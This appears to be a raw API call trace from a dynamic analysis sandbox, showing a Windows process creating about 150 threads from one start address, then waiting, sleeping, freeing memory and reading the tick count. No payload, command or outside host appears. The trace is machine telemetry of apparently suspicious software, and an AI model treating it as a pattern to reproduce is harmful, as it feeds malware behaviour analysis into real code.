	[0250.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0418, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x330
	[0250.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x334
	[0250.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0428, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338
	[0250.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c
	[0250.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0438, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x340
	[0250.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x344
	[0250.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0448, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x348
	[0250.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x34c
	[0250.941] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0458, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x350
	[0250.942] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x354
	[0250.944] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x358
	[0250.945] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0470, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x35c
	[0250.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x360
	[0250.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0480, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x364
	[0250.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0488, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368
	[0250.950] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x36c
	[0251.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0498, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370
	[0251.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0251.286] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x378
	[0251.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c
	[0251.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x380
	[0251.290] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x384
	[0251.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x388
	[0251.293] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c
	[0251.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0251.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0251.295] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x398
	[0251.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x39c
	[0251.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef04f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a0
	[0251.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a4
	[0251.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0508, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3a8
	[0251.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac
	[0251.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0518, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0
	[0251.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b4
	[0251.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0528, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0251.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3bc
	[0251.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0251.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0251.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0548, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0251.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0550, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0251.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0558, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0251.313] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0251.314] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0568, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d8
	[0251.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0570, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3dc
	[0251.316] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0
	[0251.317] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e4
	[0251.319] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e8
	[0251.320] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ec
	[0251.520] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4
	[0251.522] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8
	[0251.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3fc
	[0251.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x404
	[0251.525] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x408
	[0251.527] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x40c
	[0251.528] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410
	[0251.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x414
	[0251.531] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x418
	[0251.532] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x41c
	[0251.534] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0251.535] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x424
	[0251.537] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef05f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0251.538] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0600, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x42c
	[0251.540] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x430
	[0251.542] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0251.544] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0618, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x438
	[0251.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0251.547] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0628, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x440
	[0251.549] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x444
	[0251.550] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x448
	[0251.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x44c
	[0251.552] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0648, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x450
	[0251.554] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x454
	[0251.776] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0658, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x458
	[0251.777] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x45c
	[0251.778] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0668, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0251.779] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0251.780] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x468
	[0251.781] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0680, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x46c
	[0251.782] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0688, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x470
	[0251.783] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x474
	[0251.784] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0698, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x478
	[0251.785] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x47c
	[0251.786] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0251.787] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x484
	[0251.788] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x488
	[0251.789] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x48c
	[0251.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x490
	[0251.791] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494
	[0251.793] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x498
	[0251.794] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c
	[0251.795] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a0
	[0251.796] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a4
	[0251.797] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef06f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4a8
	[0251.798] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0700, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ac
	[0251.799] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0708, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b0
	[0251.800] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b4
	[0251.802] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0718, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0251.803] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4bc
	[0251.804] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0728, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c0
	[0251.805] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0730, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c4
	[0251.807] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0738, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4c8
	[0251.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0251.810] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0748, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0251.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0750, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0252.222] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0252.223] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0760, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc
	[0252.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0768, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e0
	[0252.226] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e4
	[0252.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0778, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8
	[0252.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4ec
	[0252.228] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0788, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f0
	[0252.229] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0790, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4
	[0252.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef0798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8
	[0252.231] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4fc
	[0252.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x500
	[0252.232] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x504
	[0252.234] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x508
	[0252.235] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x50c
	[0252.236] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x510
	[0252.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514
	[0252.238] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x518
	[0252.239] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x51c
	[0252.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fdb57b4, lpParameter=0x7ef07e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x520
	[0252.241] WaitForMultipleObjects (nCount=0xff, lpHandles=0x173320*=0x100, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0252.244] WaitForMultipleObjects (nCount=0xff, lpHandles=0x173320*=0x100, bWaitAll=1, dwMilliseconds=0x1b58) returned 0xffffffff
	[0252.244] Sleep (dwMilliseconds=0x5dc) 
	[0253.823] VirtualFree (lpAddress=0x7f00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0253.825] Sleep (dwMilliseconds=0x3e8) 
	[0255.090] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x4) returned 0x2e68c0
	[0255.090] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0x0, Size=0x4) returned 0x2e68f0
	[0255.090] GetTickCount () returned 0x118d187
	[0255.090] GetLastError () returned 0x57
	[0255.090] SetLastError (dwErrCode=0x57) 
